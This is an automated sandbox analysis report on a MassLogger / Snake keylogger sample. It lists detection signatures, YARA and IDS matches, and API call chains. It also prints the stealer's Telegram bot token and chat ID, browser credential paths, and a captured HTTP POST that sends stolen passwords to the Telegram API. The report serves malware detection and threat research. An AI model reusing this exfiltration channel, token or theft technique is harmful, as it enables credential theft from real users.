Edit tour

Windows Analysis Report
JWPRnfqs3n.exe

Overview

General Information

Sample name:	JWPRnfqs3n.exe renamed because original name is a hash value
Original sample name:	278d8f1d42cc9c240dcaee341104615fda13571ca36748ce099ebf7740875905.exe
Analysis ID:	1588982
MD5:	820c5b5f7fd86172a9637e4af12fad06
SHA1:	84605205d8d9b391b8ac5fb1a2059d8b2ade5bab
SHA256:	278d8f1d42cc9c240dcaee341104615fda13571ca36748ce099ebf7740875905
Tags:	exeMassLoggeruser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

JWPRnfqs3n.exe (PID: 2444 cmdline: "C:\Users\user\Desktop\JWPRnfqs3n.exe" MD5: 820C5B5F7FD86172A9637E4AF12FAD06)

RegSvcs.exe (PID: 2172 cmdline: "C:\Users\user\Desktop\JWPRnfqs3n.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: JWPRnfqs3n.exe PID: 2444	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: JWPRnfqs3n.exe PID: 2444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JWPRnfqs3n.exe PID: 2444	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: JWPRnfqs3n.exe PID: 2444	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc3f23d:$a1: get_encryptedPassword 0xc3f556:$a2: get_encryptedUsername 0xc3efec:$a3: get_timePasswordChanged 0xc3f10d:$a4: get_passwordField 0xc3f253:$a5: set_encryptedPassword 0xc40b56:$a7: get_logins 0xc40807:$a8: GetOutlookPasswords 0xc405f9:$a9: StartKeylogger 0xc40aa6:$a10: KeyLoggerEventArgs 0xc40656:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 2172	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 2172	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 2172	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 2172	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x102a0:$a1: get_encryptedPassword 0x105b9:$a2: get_encryptedUsername 0x1004f:$a3: get_timePasswordChanged 0x10170:$a4: get_passwordField 0x102b6:$a5: set_encryptedPassword 0x11bb9:$a7: get_logins 0x1186a:$a8: GetOutlookPasswords 0x1165c:$a9: StartKeylogger 0x11b09:$a10: KeyLoggerEventArgs 0x116b9:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.RegSvcs.exe.370000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
8.2.RegSvcs.exe.370000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RegSvcs.exe.370000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.RegSvcs.exe.370000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
8.2.RegSvcs.exe.370000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
5.2.JWPRnfqs3n.exe.d80000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.JWPRnfqs3n.exe.d80000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
5.2.JWPRnfqs3n.exe.d80000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:21.602330+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49737	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:14.463875+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	132.226.247.73	80	TCP
2025-01-11T07:59:20.682598+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	132.226.247.73	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:21.307506+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49737	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e38f96b8f2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002714000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000008.00000002.3730877202.0000000002742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455
Source: RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00874164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_00874164

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00874164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

5_2_00874164

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00873F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

5_2_00873F66

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0086001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

5_2_0086001C

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0088CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

5_2_0088CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: This is a third-party compiled AutoIt script.	5_2_00803B3A
Source: JWPRnfqs3n.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: JWPRnfqs3n.exe, 00000005.00000000.1271534976.00000000008B4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_51e74d52-e
Source: JWPRnfqs3n.exe, 00000005.00000000.1271534976.00000000008B4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_16d71928-1
Source: JWPRnfqs3n.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_7ac3e161-9
Source: JWPRnfqs3n.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_6bd7cbbc-2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0086A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

5_2_0086A1EF

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00858310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

5_2_00858310

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_008651BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

5_2_008651BD

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0080E6A0	5_2_0080E6A0
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082D975	5_2_0082D975
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0080FCE0	5_2_0080FCE0
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008221C5	5_2_008221C5
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008362D2	5_2_008362D2
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008803DA	5_2_008803DA
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0083242E	5_2_0083242E
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008225FA	5_2_008225FA
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008166E1	5_2_008166E1
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0085E616	5_2_0085E616
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0083878F	5_2_0083878F
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00868889	5_2_00868889
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00818808	5_2_00818808
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00836844	5_2_00836844
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00880857	5_2_00880857
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082CB21	5_2_0082CB21
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00836DB6	5_2_00836DB6
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00816F9E	5_2_00816F9E
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00813030	5_2_00813030
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00823187	5_2_00823187
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082F1D9	5_2_0082F1D9
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00801287	5_2_00801287
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00821484	5_2_00821484
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00815520	5_2_00815520
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00827696	5_2_00827696
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00815760	5_2_00815760
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00821978	5_2_00821978
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00839AB5	5_2_00839AB5
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00821D90	5_2_00821D90
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0082BDA6	5_2_0082BDA6
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00887DDB	5_2_00887DDB
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00813FE0	5_2_00813FE0
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_0080DF00	5_2_0080DF00
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00E562A0	5_2_00E562A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A14328	8_2_00A14328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A18DA0	8_2_00A18DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A15978	8_2_00A15978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A12DE0	8_2_00A12DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F8760	8_2_050F8760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F76E8	8_2_050F76E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F93F8	8_2_050F93F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F8DA8	8_2_050F8DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050FAE88	8_2_050FAE88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050FAB30	8_2_050FAB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F9A48	8_2_050F9A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F6551	8_2_050F6551
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F6560	8_2_050F6560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F15E8	8_2_050F15E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F15F8	8_2_050F15F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F5400	8_2_050F5400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F3450	8_2_050F3450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F3460	8_2_050F3460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F048A	8_2_050F048A
